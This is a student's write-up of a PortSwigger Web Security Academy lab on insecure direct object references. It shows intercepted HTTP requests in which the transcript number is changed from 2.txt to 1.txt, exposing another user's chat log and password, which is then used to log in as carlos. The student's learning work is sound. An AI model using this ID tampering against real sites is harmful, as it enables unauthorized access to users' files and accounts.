


# Lab 10 - Insecure direct object references

Ahmed Khaled Saad Ali

ID:1809799

## Lab Progress & Screenshots:

### Opening Live Chat Page.




Insecure direct object references

Back to lab description >>

LAB

Not solved



[Home](#) | [My account](#) | [Live chat](#)

### Live chat

CONNECTED: -- Now chatting with Hal Pline --

You: AAAAAAAAAAAAAA

Hal Pline: How about I ask you a question for a change?

Your message:

Send

View transcript


We try View transcript button to see if we can obtain old chat logs with Intercept ON. We forward request.

Intercept

HTTP history

WebSockets history

Proxy settings

 Request to https://0a80005704377a66c630440c00f10078.web-security-academy.net:443 [34.246.129.62]

Forward

Drop

Intercept is on

Action

Open browser

Pretty

Raw

Hex

```
1 POST /download-transcript HTTP/2
2 Host: 0a80005704377a66c630440c00f10078.web-security-academy.net
3 Cookie: session=QvH6BnRephtd3S1sjvwvPnsXaBID7akI
4 Content-Length: 270
5 Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"
6 Sec-Ch-Ua-Platform: "Windows"
7 Sec-Ch-Ua-Mobile: ?0
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
9 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary45MDJD9KsIui9iOM
10 Accept: */*
11 Origin: https://0a80005704377a66c630440c00f10078.web-security-academy.net
12 Sec-Fetch-Site: same-origin
13 Sec-Fetch-Mode: cors
14 Sec-Fetch-Dest: empty
15 Referer: https://0a80005704377a66c630440c00f10078.web-security-academy.net/chat
16 Accept-Encoding: gzip, deflate
17 Accept-Language: en-US,en;q=0.9
18
19 -----WebKitFormBoundary45MDJD9KsIui9iOM
20 Content-Disposition: form-data; name="transcript"
21
22 CONNECTED: -- Now chatting with Hal Pline --<br/>You: AAAAAAAAAAAAAA<br/>Hal Pline: How about I ask you a question for a change?
23 -----WebKitFormBoundary45MDJD9KsIui9iOM--
24
```

We find specified txt file to be downloaded of current chat log, we change it to 1.txt to download oldest chat log and forward request.

Intercept HTTP history WebSockets history Proxy settings

Request to https://0a80005704377a66c630440c00f10078.web-security-academy.net:443 [34.246.129.62]

Forward Drop Intercept is on Action Open browser

Pretty Raw Hex

```
1 GET /download-transcript/2.txt HTTP/2
2 Host: 0a80005704377a66c630440c00f10078.web-security-academy.net
3 Cookie: session=QvH6BnRephtd3SlzjvxxwRnsXmBID7akI
4 Sec-Ch-Ua: "Chromium";v="111", "Not (A:Brand";v="8"
5 Sec-Ch-Ua-Platform: "Windows"
6 Sec-Ch-Ua-Mobile: ?0
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
8 Accept: */*
9 Sec-Fetch-Site: same-origin
10 Sec-Fetch-Mode: cors
11 Sec-Fetch-Dest: empty
12 Referer: https://0a80005704377a66c630440c00f10078.web-security-academy.net/chat
13 Accept-Encoding: gzip, deflate
14 Accept-Language: en-US,en;q=0.9
```

Intercept HTTP history WebSockets history Proxy settings

Request to https://0a80005704377a66c630440c00f10078.web-security-academy.net:443 [34.246.129.62]

Forward Drop Intercept is on Action Open browser

Pretty Raw Hex

```
1 GET /download-transcript/1.txt HTTP/2
2 Host: 0a80005704377a66c630440c00f10078.web-security-academy.net
3 Cookie: session=QvH6BnRephtd3SlzjvxxwRnsXmBID7akI
4 Sec-Ch-Ua: "Chromium";v="111", "Not (A:Brand";v="8"
5 Sec-Ch-Ua-Platform: "Windows"
6 Sec-Ch-Ua-Mobile: ?0
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
8 Accept: */*
9 Sec-Fetch-Site: same-origin
10 Sec-Fetch-Mode: cors
11 Sec-Fetch-Dest: empty
12 Referer: https://0a80005704377a66c630440c00f10078.web-security-academy.net/chat
13 Accept-Encoding: gzip, deflate
14 Accept-Language: en-US,en;q=0.9
15
```

It pops up again so we do the same.

The screenshot shows a web browser's developer tools with the 'Intercept' tab selected. It displays an intercepted HTTP GET request to `https://0a80005704377a66c630440c00f10078.web-security-academy.net:443` [34.246.129.62]. The request is in 'Pretty' format, showing the following details:

- Method: GET
- URL: /download-transcript/1.txt
- Host: 0a80005704377a66c630440c00f10078.web-security-academy.net
- Cookie: session=QvH6BnRephtd3SlzjvxwRnsXmBID7akI
- Sec-Ch-Ua: "Chromium";v="111", "Not (A:Brand);v="8"
- Sec-Ch-Ua-Mobile: ?0
- Sec-Ch-Ua-Platform: "Windows"
- Upgrade-Insecure-Requests: 1
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
- Sec-Fetch-Site: same-origin
- Sec-Fetch-Mode: navigate
- Sec-Fetch-Dest: document
- Referer: https://0a80005704377a66c630440c00f10078.web-security-academy.net/chat
- Accept-Encoding: gzip, deflate
- Accept-Language: en-US,en;q=0.9

We observe in this downloaded chat log the password.

The screenshot shows a web application titled 'Insecure direct object references' with a 'LAB' tag and 'Not solved' status. The chat log in the background shows a conversation with 'Hal Pline' where the user asks for a question for a chat. The chat log in the foreground shows the following text:

```
CONNECTED: -- Now chatting with Hal Pline --
You: Hi Hal, I think I've forgotten my password and need confirmation that I've got the right one
Hal Pline: Sure, no problem, you seem like a nice guy. Just tell me your password and I'll confirm whether it's correct or not.
You: Wow you're so nice, thanks. I've heard from other people that you can be a right ****
Hal Pline: Takes one to know one
You: Ok so my password is nf9w72rdu62hgx5ypzy3. Is that right?
Hal Pline: Yes it is!
You: Ok thanks, bye!
Hal Pline: Do one!
```

We login as Carlos using the password copied from chat log.

**WebSecurity Academy** 

Insecure direct object references

LAB Not solved 

[Back to lab description >>](#)

[Home](#) | [My account](#) | [Live chat](#)

## Login

Username


carlos

Password


\*\*\*\*\*

Log in

Carlos account page accessed, lab solved.

**WebSecurity Academy** 

Insecure direct object references

LAB Solved 

[Back to lab description >>](#)

[Home](#) | [My account](#) | [Live chat](#) | [Log out](#)

Congratulations, you solved the lab!

[Share your skills!](#) [Continue learning >>](#)

## My Account

Your username is: carlos

## Lessons:

- 1) Be aware of Social Engineering attackers, don't trust giving anyone your password.
- 2) Don't save chat logs or any file on system incrementally, because changing one number gives access to all chat logs or files by attackers/sniffers.